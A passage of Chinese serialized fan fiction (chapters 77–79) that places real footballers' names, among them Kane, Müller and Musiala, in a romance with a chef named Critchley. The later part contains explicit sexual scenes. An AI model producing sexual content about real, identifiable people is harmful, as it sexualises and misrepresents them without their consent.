与此同时,还不知道已被人收入眼中的克里奇利自然而然地向凯恩靠近,虽然年龄相仿,总觉得自己比他小很多,每次见面都想抱一抱这个亲切帅气的哥哥,他也不犹豫,想抱就抱了。 抱过以后,他把保温袋交到凯恩手上,对他说里面有我刚包的饺子,直接吃就行,其他的菜都配好了,还是像之前那样想吃的时候拿出来撒上调料微波一下就好了。 凯恩说要不要进来一起吃。 他说不了,店里今天有人请假了。 他刚要走凯恩又拉住他,从兜里掏出一个奥迪RS6车钥匙,拿起他的右手把钥匙郑重的放在他的手心里,还紧紧地握住了。 “布莱恩,希望你不要拒绝,我就是想送你一件礼物,我知道你什么都不缺,但我想做这件事不做会难受,就当是答谢你这段时间对我的照顾。” 克里奇利皱着眉头,手被他紧紧握着打也打不开,只能感受到手心里皮套包裹金属的质感和沉甸甸的重量。 “我能理解,但这太贵重了。” 他看见这个钥匙从他的指缝间垂下来一个红白挂件,就知道是什么车型了,全球限量从德国率先发售的GT越野车型,主打款红白相间配色,太适合拜仁的人开了。 高配在20万左右,可以说价值不菲了。 “买都买了,拒绝我我会难过的。” “唉,哈里,我这小面包不好吗?买菜方便,停哪都行,给我拖走我都不心疼,你要让我开20万的拉风越野去菜市场买菜吗?人家会双倍价格卖给我的。” “不管,车是你的了,要提车要变现随便你!”凯恩故作生气的抬手拍了拍他的肩膀,随即又温柔的抚摸上他的后颈,宠溺地看了他一眼,这才拎着保温袋走进别墅。 克里奇利心头微热,胸口到指尖传过阵阵酸麻,一向高傲自大呛毛呛刺的他有一种被人从头到尾顺毛撸了的感觉。 正当他转身要走的时候突然看见道对面停在大榕树后面的那辆神秘的黑车。 他阴沉的目光望过去,心里琢磨着不会被狗仔盯上了吧。 这时穆西亚拉一慌,赶紧启动车子,谁知慌乱中挂错档了,车子原地发出轰的一声响,接着他又急火火的挂上前进档风驰电掣般逃走了。 穆勒好像还没看够,忽然被年轻人一顿操作猛如虎,低头一看原地杵,接着又起飞似的推背感给整迷糊了。 “注意安全!”他抓着扶手大吼。 克里奇利微微皱眉,直觉告诉他是狗仔蹲点没错了。 他也立刻上了车,寻着那车的方向追了过去。 但是他只看到一个车屁股在前方不远处的拐角处消失不见了,被小报拍了的想法越来越肯定。 一定要保护好凯恩,千万不能把他拉下水。他心里有些慌,就怕那些无良媒体没事找事,不过这次他真没干什么,头一次这么清者自清也就不那么怕了。 回去后,他想了想这段时间的遭遇,越来越觉得凯恩就像他的哥哥,那样无私的爱着他,信任他,而他也想无条件的支持他,帮助他。 他突然想起来,自己也是别人的哥哥呢。 自从收养了阿根廷弟弟以来就没有把心思放在弟弟身上,他还不到20岁,还不够坚强勇敢,骨子里还有些叛逆和疯狂,自己却从来没听他讲过心里话,也没教给他什么生存之道,还总是打击他,伤他心。 这两年他出道了,满世界飞,自己更是没主动关心他,听他讲讲所见所闻,毕竟他那个圈子也不好混。 决定说来就来,他摸起手机给他前助理打了电话,叫他往他家附近的宝马店里储值,登记托马斯多明戈斯的名字。 都办好了以后,他给托马斯发了条信息,说你人生中最重要的18岁生日我错过了,19岁生日我也没在你身边,你去家对面的车行选一辆车吧,我储值了。 信息刚发过去不到半分钟,托马斯就打回来了。 他的声音高的简直要划破临晨12点的夜幕。 托马斯:“哥!你发什么神经!没事买什么车,我又用不着,赶紧退了!” 克里奇利保持情绪稳定地说,“托马斯,我就是想送你一件礼物,就当是这两年没给你过生日的补偿吧。” 托马斯深吸了一口气,说,“你做的已经够多了,不过我很高兴你还惦记我,听上去你心情应该也不错,还能想起我来,但是车子就不用买了,我又不怎么回曼城,用不着。” “你用不用是你的事,我买不买是我的事,不要就去提现,哪那么多事!哥哥给你买辆车还需要找理由吗!” 情绪稳定了不到一分钟,就又恢复了那心高气傲的人设,虽然语气不好,但心意好像刚从哪里复制粘贴过来的,有一种理直气壮的舒爽感。 这一宿他睡的很好,虽然还住在旅馆也没有流离失所的感觉了。 其实,凯恩和克里奇利怎么好都不过分,人家都是英格兰人,伦敦人,虽不是故知也算是异地的同乡,没什么可扒的。 但架不住双穆一个爱打听,一个爱看热闹,一老一少乐子人,整天欺负老实憨厚的大凯恩。 穆勒二了吧唧的老是嘎嘎嘲笑凯恩进球庆祝,说他动作像切菜,但又爱模仿他,还双手猛切。 凯恩进了球他是真亲,有一次太激动了差点把鼻梁撞骨折。 穆西亚拉就是穆勒的小跟班,别看他蠢萌蠢萌的,馊主意可不少,嘴巴甜的大哥前大哥后的,实际净领着大哥干坏事。 买了一个蜘蛛玩具盒子测队友胆量排名,让穆勒拿着,他在旁边偷拍队友被吓的表情。 给基米希吓到爆粗口,萨内吓的直甩手,队长诺伊尔淡定的再把蜘蛛划回去,凯恩明知是整蛊,准备小装一下,谁知还没碰到盒子就被一边的穆西亚拉哇的大叫一声,吓的本能的弹跳出屏幕了。 小坏孩还在镜头前学凯恩大舌头说话,被凯恩揪着脖子说孩子学龄期,大家不要介意,然后丢给穆勒叫他好好教育,不能太二了。 这姓穆的真的玩心太重。 这不,他俩一合计,缠着凯恩非要让他带他们去克里奇利开的小店吃饭,跟凯恩说你也不够意思啊,整天说你那朋友多神,也不安排一下队友去聚餐,就算不安排队友也该安排好朋友吧。 凯恩被他们怂恿的不轻,于是联系克里奇利问他能不能加个塞,克里奇利秒回道:“要是我有公寓,早就请你和你的朋友来做客了,你们不嫌弃的话,还是老地方,我的休息室吧。” 于是他们开开心心的来吃铁板烧了,主要是想看帅哥,不,是有点不服凯恩来了两年才融入他们铁三角,怎么说被抢走就被抢走了呢。 克里奇利知道他们要来,提前买了好多好吃的还有酒水,准备好好招待一下凯恩的朋友。 谁知刚到店就看到了那天神秘蹲点的小黑车。 难道又吸引了狗仔队? 气的他真想给这辆车贴个罚单,可这车停在了自家小店的停车位上,还挺大胆的。 克里奇利告诉自己今晚谨慎点,观察看看有没有可疑的人混进来。 和他们打过招呼,菜品供应了一半,他实在忍不住,跑到休息室,他的临时vip2厅,和他们说起门口的小黑车。 他说怀疑这里面混进了狗仔队,让他们小心点别喝多了被人偷拍。 穆勒哈哈大笑说在德国还有不喝酒的?爱拍拍去,他就没怵过大报小报,不管是啥胡咧咧一通就行,还没人能抓住他的小辫子。 凯恩说身正不怕影子斜,以前又不是没被拍过,我们三个是好是坏不用媒体给我们下定义。 只有穆西亚拉角度不一样,他问,你怎么知道有狗仔? 他说我看见那个JM889黑色奥迪停在门口,前几天在凯恩家门口也看见这辆车鬼鬼祟祟的停在那里,肯定是狗仔。 双穆面面相觑,尴尬的不知所措,结果凯恩哈哈大笑说,那不是我们贾公子的车吗? 他刚说完,接着笑容绷在脸上,劈头盖脸地质问穆西亚拉,“你没事上我那蹲点干嘛?” 穆西亚拉头摇的像个拨浪鼓,手指着穆勒不敢说话。 穆勒说不关我事,都是他的主意,以为你交了女友。 穆西亚拉瞪大眼睛表示无辜,说大哥你怎么能这样呢? 结果以穆勒霸凌小孩,用手肘夹住穆西亚拉的头不允许他说话作为话题的结束。 克里奇利这才舒了一口气。 不过,他对穆西亚拉这小孩不太满意,总觉得他滑头又爱恶作剧,吃饭的时候还眼神乱瞟,似乎想从自己身上找个答案。 他不喜欢这种自作聪明又抖机灵的人。 反而穆勒这种长的老成实际上嘻嘻哈哈俏皮幽默又不太注重形象的招人稀罕,一看就没什么心眼子,没什么好防备的。 蹲点对好朋友来说可不是一个友好的做法,他严重怀疑这俩德国人在pua凯恩,而鬼主意一定是这个小孩出的。 这件事刚过去不久,克里奇利就发现穆西亚拉时不时的制造机会对他献殷勤,借着取餐的名义夸他手艺好,餐品如人,色香味俱全,还绕到吧台后面看他操作,帮他出餐揽客。 像做了什么亏心事讨好他似的,又像在试探着什么,好奇心很重,甚至有点不知分寸。 年纪小的都这样吧。 正想着,突然听见哗啦一声,他的厨师刀具七零八落地倒在案板上。 他赶紧关了火,跨一步过去一把握住了穆西亚拉的手腕,对他凶巴巴的说道:“这不是玩具,小心别弄伤自己。” “噢。”穆西亚拉撇撇嘴,不得不收起玩心,看着他一把一把的把刀收进刀鞘里,摆放的井然有序。 接着他的手上就多了一盘烤生蚝,然后被克里奇利推着后背离开了厨房重地。 终于把大厅的客人打发走了,克里奇利洗洗手准备早点打烊,陪陪vip2的朋友们。 这时穆西亚拉喝的小脸红红的,出来一看大厅的灯只剩吧台这边亮着了。 吧台后面那个忙了一晚上的人在将调味品归类。 他低着头认真忙碌的样子,看了让人心生醉意,何况是已经微醺的人呢。 穆西亚拉双手撑在台面上,不想这么早就结束美好的晚餐时间,虽然他已经吃的饱饱的。 走出这个门,不知道什么时候还能看见这位身穿白色工作服,带着高高的厨师帽,埋头认真工作的大厨呢。有没有人发现他禁欲的外表下隐藏着那份呼之欲出的性感呢,曼城和巴萨的人吃的可太好了。 大厨看人的眼神虽然凶巴巴的,像他手里的厨师刀散发着幽幽的寒光,但总给人一种错觉,他从容对待食物的方式,会不会对人也通用,用他那双灵巧会动的纤长手指轻松把人给弄散架。 “你看什么呢?”克里奇利擦擦手,近距离地看了穆西亚拉一眼,这一眼已经把他的轮廓描了一遍。 “啊…没什么,洗手间在哪?” “我带你去吧。”他忙了一晚上没顾得上喝水当然也没顾得上去厕所。 后厨还有一个卫生间,克里奇利不信这小孩一晚上喝这么多酒就没去厕所。 不过年轻人酒量大,什么也大吧,有的人喝一晚上不带放水的。 两个人相邻解手,穆西亚拉时不时的侧过头用余光上下打量他,如果不是对他有意思这种行为有点不礼貌。 洗手的时候,克里奇利也没多想,小孩嘛,可以多给些宽容,即便是现在穆西亚拉正在从镜子里直视他的脸。 克里奇利摸了摸下巴和嘴唇,问他,“怎么?看我一晚上了,是在审视我吗?” 穆西亚拉眼神突然落在他的小腹前,饱满的嘴唇动了动,像是鼓起莫大的勇气问了他一句。 “你是gay吗?” 第77章 克里奇利怔…… 克里奇利怔了一下,随即甩了甩手上的水,潮湿的手指插进自己的发缝里向后捋了捋,侧过身来带着一丝不明的情绪看着他,沉声道:“为什么这么问?” 穆西亚拉唇角向下弯了弯,并没有为自己的出言不逊感到不妥,反而大着胆子继续问,“难道不是吗?我看错了?” “噢,那是我看错了,以为你们英格兰遍地…” 克里奇利脸色突然阴沉下来,感觉被人攻击了薄弱的地方,他拉下脸阴鸷的眼神甩过去,让穆西亚拉顿感后背发麻。 他匆忙把手在裤子上擦了擦,绕开他往门口走去。 刚要拉开门,他突然感到脖子一紧,后衣领被人用手指勾住了,接着胳膊也被他一拉,猛地被甩在洗手台上,那人的脸随即压过来,遮住了头上的微弱的灯光,距离近的连呼吸都交错在一起。 被他顶在洗手台上和被队友压在草地上那感觉可不一样。 他的大腿无缝贴了上来,胯骨硌在自己的小腹上,逼迫自己不得不向后弯腰,双手撑在湿滑的台面上,只能忍受衣袖被冰冷水渍沾湿的不爽。 这份气势汹汹的压迫,让穆西亚拉感到有些意外,但并没有因此感到害怕或不适,反而让他对接下来要发生什么产生了一点期待。 克里奇利低头看着他,冷笑出声: “除非我对你这么做,否则不该问的别问。” 说完便抬手捏住了他的下巴,还左右晃了晃,像执意要和听不懂人话的小动物沟通一样。 这一系列动作对于一个直男来说可能会引发一场气急败坏的打斗,但此时此刻的氛围好像打翻了百花箱,开了一地鲜花不说,还香的腻人。 克里奇利很少做没把握的事,但他对自己没礼貌,自己也不必惯着他,于是出手教训了这只不知轻重说话不经大脑的傻狍子,并且毫不客气的对他完成了一次直球进攻。 就在他凑的很近的时候,穆西亚拉突然伸手扣住他的腰,发力把他推在身后的门板上,不甘示弱地又完成了一次攻守转换。 克里奇利上来一阵坏脾气要和这个20出头的小年轻掰扯掰扯,于是和他动了点力气。 他们互相抓住肩头谁也不松劲儿,轮流被摁在洗手间的门板上,这一排4个门都被他俩的后背撞个遍。 就这样和穆西亚拉扭在一起转了好几圈,突然他感到胃部一阵剧烈的不适,接着头晕目眩,眼前一黑,身体一下子失去了平衡。 就在他倒地的刹那被穆西亚拉一把捞住了腰。 有那么一瞬间他什么都不知道了,但身体被人稳稳地托住,意识也被强行拽了回来,视线一点一点打开,慢慢看清了眼前这个喘着粗气一脸震惊的小伙子。 羞耻,本来要教训小孩的,结果被小孩放倒还来了个标准仙女下腰抱。 小孩还关心的问他,你没事吧,头晕吗?累着了?生病了?脸色不太好呢? 连珠炮一样的问题炸在他耳边,他起身扶了扶额,晃了几步站定后,一甩手,挣脱开那人的手心,什么都没说就气冲冲的离开了洗手间。 穆西亚拉愣了一会,想想刚才发生了什么,那人威风凛凛要吃了自己的架势和他突然踉跄脆弱的样子,让自己心弦响了,脑袋也嗡嗡的震动,还产生了一种莫名想要保护他的冲动。 克里奇利回到座位上缓了半天才好一点,这不致死的小病还是给自己扯后腿了,要吓唬口不择言的莽撞小子结果演砸了。 凯恩看他脸色不好,问他是不是累着了,他说不是,喝点酒就好了。 穆勒开始给他倒酒,对他说,回头别说我们德国人不够热情啊,你是哈里凯恩的朋友,就是我们的朋友,改天一起去骑车钓鱼露营啊,我装备可全了。 穆西亚拉跟没事似的说大哥你那些老年人的娱乐不是每个人都喜欢,我看他比较喜欢激烈的运动。 克里奇利看了他一眼,捏了捏鼻梁不想说话。 “那踢球吗?”穆勒眨巴眨巴他的小黑眼珠,又捋了捋袖子,一副要教他踢球的兴奋模样。 “饶了他吧,托马斯。”凯恩替他解围,“就你这暴脾气青训营的都被你训哭好几个了吧,还没过瘾呢?” “那帮小孩糙得很,对他们能和对新人一样吗?” 说到足球,克里奇利感觉被穆勒和凯恩当成娇滴滴的女娃了。 他说,“踢球我不在行,摔跤还行。不过我最近得了一种叫内耳不平衡的病,容易晕。” 噢原来是这样,穆西亚拉知道了克里奇利不经转圈,会因为耳内失衡而晕倒。 这病挺好,自己可以把他晃晕了吃掉,他突然想到咖啡奶茶,喝前摇一摇,想着想着没忍住笑出声来。 三个30+的老男人一起看向他。 他却只盯着克里奇利的脸,难掩喜悦的说,“你这病好治吗?” 怎么我生病他那么高兴呢,这孩子是一点边界感都没有。 “好治,需要鹿鞭。”克里奇利瞪他一眼,没好气的说。 “噗…哈哈哈哈…” 除了穆西亚拉憋的满脸通红笑不出来,那俩人可笑的前仰后合。 谁不知道穆西亚拉的外号是小鹿斑比啊。 红过脸以后,穆西亚拉觉得自己弯了,怎么回事,之前在舞池里跳舞看见年轻漂亮的女孩子对自己抛wink都会脸红心跳,现在怎么看到这么个有点小帅的男人也会有这样的反应呢? 这个晚上穆勒喝的有点多,一直往克里奇利身上靠,搂着他的脖子给他讲凯恩的糗事,刚来的时候是想把好朋友抢回来,稳固铁三角,现在好像在挖凯恩的墙角,要把他抢过来当亲密朋友。 克里奇利这一晚上虽然没和他们聊太多,但差不多都整明白了,凯恩是脾气超好的暖男大哥,维持着男人之间互吹互擂又不失互黑打闹的活跃气氛;穆勒霸气侧漏爱搞点颜色,说话不修边幅爱搞怪爱打听但还算有点分寸,只是笑声太有特点了,离自己又近,搞得他不知道是不是又犯耳鸣头晕的病。 穆西亚拉呢,直男微弯。 当晚送走了他们,某个人还有点恋恋不舍。 克里奇利全当是年轻不懂事的小孩,怕自己误会跟踪那件事紧着献殷勤,再就是因为言语冒犯想找个道歉的机会罢了。 没事,克里奇利怎么会跟小孩一般见识,再说他不也小小的欺负了他一下吗。 可这小孩挺记仇的,一连好几个晚上不打招呼就来了。 两个人不在一个圈子,而且也没熟络到天天见面的程度。 可是,头脑简单的小孩才不管那个,只寻着味儿就来了,服务员让他出示预约码,他说我刷脸。 来了以后就像个兼职大学生一样,在大厨身边转悠,一会帮他走菜,一会帮他揽客,实在没什么做的,就趴在台面上拄着下巴看他。 有人给他让座,他说不用,我在学习呢,你们吃你们的,不用管我。 克里奇利忙的没眼看他,让他help yourself,他说你也不用管我,忙你的,一会咱俩单独吃。 克里奇利眉心抽动,真是一个自来熟。 他还在克里奇利忙完了以后殷勤地给他捏捏肩膀,说着你辛苦啦,这么辛苦干嘛呀,然后等克里奇利主动说不这么辛苦你养我啊,然后他好一口答应下来。 可惜,克里奇利没这么说,他说,我没你辛苦,白天训练,晚上来打没报酬的工。 他说我偷师学艺。 克里奇利笑他手不如脚系列,别把我盘子打碎了,一个要30块钱呢。 穆西亚拉和他混熟了,还给他出谋划策,说你想要扩大生意呢,不如和我排个照,做个广告牌放门口,我不收你广告费。 克里奇利笑得都没法摆盘了,手抖的鹅肝都掉下来好几次。 穆西亚拉才反应过来,他要是想要合影当做活招牌,自己好像都排不上前三。 在德国还是能排上的吧,他盯着大厨的侧脸臆想着,这时手上就多了一盘鹅肝沙拉,接着被冷漠无情的大厨推着后背离开厨房重地,给他找了一个小板凳坐那吃。 这样就不会影响他的客人,老是有离开座位去找他要合影要签名的,无端端拖慢了用餐进度。 这天他又来了,故作神秘的好像揣着一包坏心眼子。 趁克里奇利在阳台休息抽烟的时候,又把他拉进了洗手间。 他双手背在后面,身体前倾,瞪着一双毛茸茸亮晶晶的大眼睛,微笑着看着一脸应付的克里奇利。 一根烟都不让抽完,卫生间有烟雾报警器,克里奇利只好把烟灭掉。 “布莱恩,我问凯恩了,你们没有在交往。” “什么?”克里奇利本来一脸困倦被他一句话给弄清醒了。 “所以,是他在追你吗?” “开玩笑呢?” “没有吗?” “没有!” “不老实。” 穆西亚拉从兜里掏出一把钥匙,在他眼前晃了晃。 “送你个礼物。” 克里奇利真搞不懂年轻人思路清奇不按常理出牌但这也太离谱了吧。 怎么还这么直白呢,想想他之前所作所为和直言不讳,克里奇利断定这孩子是一根筋加脑子多少有点不太正常。 “什么礼物?”他看着钥匙感觉是防盗门钥匙,这是要给他的店换个门吗? “他送你车你没答应他,我送你房,和我交往吧。” 第78章 克里奇利嘴巴张成了…… 克里奇利嘴巴张成了一个O型,他怎么也想不到德国人这么冲的吗?前有人送车,后有人送房,他这魅力这么大的吗? 他想我可得好好保养我这价值连城的脸,别干什么铁板烧了,开着豪车住进豪宅,整天看着这么年轻火辣,肌肉饱满,体力爆棚,脑力为零的小男朋友,简直不要太带劲! “怎么了?被我感动了?”穆西亚拉手里还提着钥匙,又在他眼前晃了一次,接着食指弯曲勾起他的裤腰就塞了进去。 就像他曾经在nice吧里把大额钞票塞进跳舞的小帅哥裤腰带里一样。 他感觉小腹一凉,那把钥匙就顺着裤腰下落找到了停留的空间,让他掏都掏不出来。 震惊错愕之余,被羞辱被凌驾被俯视的那些所有一切他嗤之以鼻的感觉一股脑的袭击上来,让他恨不得立刻犯病晕死过去。 他把这个得意的家伙拉进厕所隔间里,锁上门,接着把自己裤子退到了脚踝,那把钥匙就啪的掉在地上,发出了一声脆响。 然后他弯腰捡起来,塞进穆西亚拉的上衣口袋,咬着牙一字一句地对他说,“我还没动你呢,就收这么大礼,不是我办事风格,等我动完了你,你再送也不迟。” 说着,把他裤子也拽了下来。 身下一凉,穆西亚拉这才感到有些害怕。 他以为的是克里奇利会答应和他交往,走纯爱路线,然后慢慢开启成人世界的大门,没想到他这么坦诚,一步到位,一手交房一手交粮,还怪麻利的。 “啊,那个,我不着急,你先考虑一下,地址我发你,咱们可以先试试。” “试你个锤子。”克里奇利直接掰过他肩膀把他压在门板上。 来到德国修身养性只吃了两次外卖的他,今天可不打算放过直接飞进嗓子眼里的野鸭。 穆西亚拉这段时间虽然没做出什么过界的举动,但天天来骚扰他,观察他,试探他,没想到给他憋个大的。 这脱线的举动除了证明小鹿斑比是一个容易冲动消费的人,最直接的证明就是他想要他,想要霸占这个人。虽然还不够了解,但是他野心很大。 这孩子不坏,就是有点不正常,拿钱砸他估计也不是瞧不起他,而是没别的办法,以为这样可以表达最大诚意,属于除了踢球之外大脑放空简单直入类型的。 他还有点闷骚。 这一点和克里奇利有那么一点像。 表面正儿八经的顺直形象,实际胆子大的要命,不计后果的这种霸总行为让不是傻白甜的克里奇利胸中有把火在烧。 克里奇利压着他肩膀,先啃了他脖子一口。 喷香喷香的,年轻饱满的肌肉就是好吃,鲜嫩弹牙。 穆西亚拉声音微微发颤:“你…轻点。” 克里奇利没管他,谁叫他一上来就这么猛,直接拿房子砸他,不给他来点激烈的都对不起他这份期待。 让他试试伦敦大野狼是怎么把小鹿脖子咔嚓一口咬断,再用尖利的犬齿撕开充盈的血管,伸出舌尖来一点一点啖血食肉的。 就在他想要大力出击时,忽然想起来今天工作时洒水了,期间换了一条裤子,没带小方塑料袋。 他紧急刹车,并微微叹了口气。 穆西亚拉趴在门板上,像蝴蝶般微微颤抖着,由于过于激动,紧绷着的后背和大腿的肌肉条条块块的煞是分明。 身后的人这时候动作忽然停滞,让小鹿有些纳闷,但还没等那人开口,他就自动自觉的稍微放松了一点,可能太紧张了,不利于双方行进,他想。 但是等了好一会,那人还是没有进一步动作,搭在他肩膀上的手也拿了下来。 穆西亚拉心里泛起一阵难过,难道是我给不了他想要的东西? “怎么了?你不喜欢我?”他转过来,先看看那人红润的发紫的脸,咬着下嘴唇,微微拧动着眉,似乎在隐忍着巨大的渴望。 再低头看看,不像是不喜欢他的样子,就算是不喜欢他,也能do sth. 克里奇利松了松气,说不是,我没带套。 穆西亚拉微微一笑,说没关系,正好我也没准备好。 说着,他蹲下来… 克里奇利脑中铃声大震,先不说是不是犯病,光是小鹿这般热情奔放,就已经足够让他脑血管崩裂了。 年轻的身体就是好,有劲儿,就是不懂得温柔,老是用牙碰他。 疼得他快要晕过去,又很爽。 他想我可不能晕,我要是再晕了,被这个直男微弯的小雄鹿给撅了也说不定。 夜。 忙活了一晚上中间吃了顿鹿肉,不,是被鹿给舔了的大尾巴狼开始打烊。 三个雇员已经提前下班,每天都是老板亲自收尾,归拢桌椅,擦擦台面,最后断电关火,检查完毕后拉下大门帘,在门口摆上[今日供应完毕]的牌子。 后半程,那只小鹿不见了,克里奇利看他走进工作间就没出来,也没管他,但是在做菜的时候忍不住老是弯嘴角,客人不知道今天老板怎么这么开心,做的菜都好甜,火苗也窜的一浪比一浪高。 他们不知道,大厨在和他手里的食材跳双人舞,每一曲完毕都会让大厨获得空中漫步般的快感。 滋啦滋啦的铁板烧烤声,就像电流激荡在他身体的每个部位,让他一想到那个线条流畅、肤色健康、顶着一张天使面孔做事又狠又辣的德区小野鹿,就灵感爆棚,于是就有了今晚的压轴菜——甜辣鲍螺片。 一口爆汁,鲜甜脆爽,后劲十足。 他给这道菜起名:让嘴巴和大脑同时放烟花的德式火焰. 结束了一天的工作,他准备回休息室洗个澡下班,顺便看看贪心的小野鹿走了没。 他的休息室就像一个大学生宿舍,一张单人床、一套桌椅,没有衣柜,衣服散落在床上,鞋子堆在门口,烟蒂也一天没倒了,看上去有一点凌乱。 但当他走进去的时候,差点被闪瞎了眼,一时怀疑被盗了。 屋里一尘不染,衣服都在衣架上,鞋子整整齐齐地摆在鞋柜里,烟灰缸可以当镜子照,洗衣机还在转着,估计是他脏衣篮里的换洗衣物。 床上正被一个一米八多的巨鹿霸占,显得能睡两个人的单人床像个婴儿摇篮,他长胳膊长腿的,好像在搂着床睡觉,手和脚都搭在床沿外。 克里奇利愣了一下,随后嘴角漫起一丝笑容,轻手轻脚地走进去,把褂子脱了挂在衣架上,回头看了他一眼。 小鹿翻了个身,好像没有被他吵醒。 这小家伙豪宅不住,今晚是要挤在这个小床上叠着睡吗。 克里奇利摇摇头,轻轻叹了口气,随即又扬起了眉毛,心里有些得意,他都31岁了,哪一点让这个风靡全德甚至五大联赛,要身价有身价要颜有颜的足坛金童心动。 他脱完了刚想随地扔,又看了看过于整洁的房间,于是默默把衣服裤子挂在衣架上,别人劳动不容易,何况是霸总。 他走进浴室,拧开花洒,仰着头让水花慢慢洗去一身疲惫,心情虽然很想唱歌,但脑子里总有一根弦在嗡嗡地警告他:别太渣了,他才21岁。 水声很大,他闭着眼睛刚打上泡沫,身上就多了一双手。 那双手冰凉,起初放在他胸前,好像觉得不足以暖手,而慢慢向下游走。 “别动。” 克里奇利弯了下腰,没有腾出抓着头发的双手去制止这双找地方取暖的手。 谁知这双手交叉用力抱紧他,趁他弯腰冲撞了他一下。 “噢!你他妈…” 克里奇利腾的转过身来,用满是泡沫的手抓住了那人四处点火的手腕。 不知是转的太猛还是泡沫流进了眼睛里,让他有些身形不稳,向前倾去。 又被这个和他差不多高的年轻人搂住了腰,那人一手搂着他的腰贴近自己潮湿的身体,一手捏住了他的下巴,把他固定在水帘里。 他微微睁开眼睛,让水流冲掉刺激眼睛的泡沫,血红的眼角,顺着脸颊流淌的温水,还有水中不畅的呼吸在穆西亚拉眼里,是多么震撼的景色。 他稍微用力,把英国人的嘴巴捏的撅了起来,然后踮起脚尖重重地亲了上去。 英国人对这场面简直不要太熟悉,他只需要在回吻中稍稍用点技巧,就能把没什么接吻经验的人亲个稀巴烂。 为了回应他刚才不礼貌的顶撞,克里奇利使出了杀手锏,趁他张嘴咬自己的时候,舌头长驱直入伸进他的嘴里,把他的舌头勾出来和自己的舌头打个结,手也没闲着,紧扣着他后脑勺,让他也体会一下窒息的快感。 他们用力抱着对方,在彼此的眼睛里照镜子,一会轻巧温柔地啄来啄去,心满意足地攫取对方的味道,舒服地头上都冒出了小草,在快乐的左右摇摆。一会又像得罪了对方一样,发狠地冲撞,比谁的舌头更有劲儿,亲到腮帮子酸胀。 亲着亲着,穆西亚拉就举起了一个小方包装袋,刚要用牙齿撕开,接着就被克里奇利握住了手腕。 “怎么?刚才不是缺这个?” 他晃了晃指尖里的成人用品。 “嗯。你确定?”克里奇利不知道是不是脑子坏了,总有一个声音提醒他,喂,放过小傻鹿,他涉世未深。 “你是gay吗?”他又一次问道,但这次语气明显不是好奇,而是带着一点鄙夷。 “走,我带你去一个地方。”克里奇利拿浴巾擦了擦头发,接着把浴巾罩在同样湿漉漉的小鹿身上,搂着他走出浴室。 小鹿一脸不解,仍顺从地跟着他,想要看看他究竟怎么个意思,是不喜欢自己不想跟自己做还是他压根就不是什么顶级top,而是一个有点姿色的中年性冷淡。 他们来到一家地下酒吧,克里奇利拉着他进了楼上包间,那里有站的高看的远的视野优势,还有不引人瞩目的vip高台雅座。 克里奇利指着楼下舞台上正在表演的人群,对他说,“看到了吗?欢迎来到我的世界。” 台上一群光滑湿汗的妖魔鬼怪拿着鞭子挥来挥去,而被“驾驭”的人在地上扭曲攀爬,好像在渴望和表达着什么。 就是在大庭广众之下进行impart表演。 克里奇利觉得带他来这种乌烟瘴气的地方,知道自己是一个对sex持开放态度的人,才不会跟某个人发展一对一的恋情,对于吓退他有很大帮助。 如果这都吓不退他,那就可以深入交流一下了。 因为要打败脑中那个烦人的声音需要做点什么让它哑口无言。 比如,穆西亚拉说,我就是要融入你这种生活,来吧,我准备好了,那么,什么放过小傻鹿这种鬼话就管不了他。 如果他说,我不能接受,我希望咱俩二人世界,那么对不起,拿着你那金屋藏娇的防盗门钥匙,离自己远一点。 第79章 看着台下投入表演的…… 看着台下投入表演的人群,穆西亚拉咽了口唾沫,壮着鹿胆问他,“你想和我玩这个?” “害怕了吧?”克里奇利轻笑一声。 “不是,有什么好怕的,只是…毕竟我们还不太熟。” 不太熟你给我买房子,不太熟你要和我同居,不太熟…也够熟了吧,对方是什么味儿的都尝过了。 “我不是要跟你玩这个,我的意思是告诉你,我可以给你想要的,但是你不能要我。” “什么意思?”小鹿不想思考。 “one night明白吗?”克里奇利之前会把这个准则明里暗里交代清楚,怎么这次这么费劲,还得需要带他出来借喻呢,结果还是明说了。 “噢~大渣男!”穆西亚拉反应过来了,“你之前渣过不少人吧?” “都是你情我愿的谈不上渣。” “那你为什么不干脆也渣了我?” “我…”克里奇利一时被他问住了,不知道脑子跟不上年轻人还是年轻人说话太快不经过脑子,他要是真渣,早就在那天他第一次问他是不是gay的时候就直接告诉他是,怎么样?玩吗?帅哥? 还没等他说出什么,穆西亚拉就打断了他,“好吧,那我渣了你吧,叫你知道知道什么是世间险恶。” 说着就拉上了帘子,回过头来一把抓住他衣领把他扔在沙发上,一个鱼跃冲顶就扑了上去,坚硬的头还顶了克里奇利下颌一下,痛的他闷哼一声。 这个看上去一脸纯真,做事会发抖的小鹿,突然像变了个人似的,带着一股子蛮横霸道的冲劲儿,受了刺激般地在人身上乱咬乱撞,把身下的人硌的不轻。 克里奇利很少被人压在身下无法抵抗,可小鹿横冲直撞,给他带来的下巴痛还没来及揉揉,这又咬上自己脆弱的喉结,让他忍不住发出一声闷叫。 而燃起了占有欲的雄鹿就像一阵北风,用力晃动林间的树叶,好像要把这一切席卷而去。 没轻没重的手指揉搓那层布料发出沙沙的响声,伴着交错的呼吸和咚咚的心跳声,让房间里的画面比外面还要真实而剧烈。 你这个没节操没底线还妄想着逃避道德惩罚的老男人,跟我玩矜持玩上瘾了?穆西亚拉好像悟出了什么。 他越想越疯狂,他就觉得这个英给兰来的像棵冷松一样的神秘男人,实际一定是个放荡不羁的骚货,现在好了,摊牌了,不装了,不睡还留着过年吗。 不过,他是有点气在身上的,摆了好几天高冷的大花瓶,对他总是一副高高在上的姿态,不喜欢自己还要释放出可以用他的信号,做足了前戏又特意跑出来告诉他自己只是one night而已,这是有多不喜欢他啊。 不喜欢也可以做吗? 穆西亚拉还搞不懂。 之前他那样动情的吻自己,难道都是例行公事? 算了,懂不懂的吧。 再思考小鹿的脑壳里就要长脑子了,长脑子就会有忘不掉的复杂情绪,有了复杂情绪就不能乱来了,搞不好真的要死乞白赖地求这个花心大少跟他回家。 然后当着自己的面,having a impart and fucking around. “闹够了没!”克里奇利伸手抓住了他后脑勺的头发制止他胡来。 毛茸茸的自来卷不够长也被人给薅住了,并拉离那人的胸膛。 穆西亚拉抬头看他,房间里昏暗的灯光让人辨识不出脸上的表情,只听出声音是压着的愤怒。 “我不管,弄疼你活该,谁让你关不上门,到处遛鸟。” “什么?”克里奇利听他这么说,无法用语言来形容此时此刻自己的憋屈情绪。 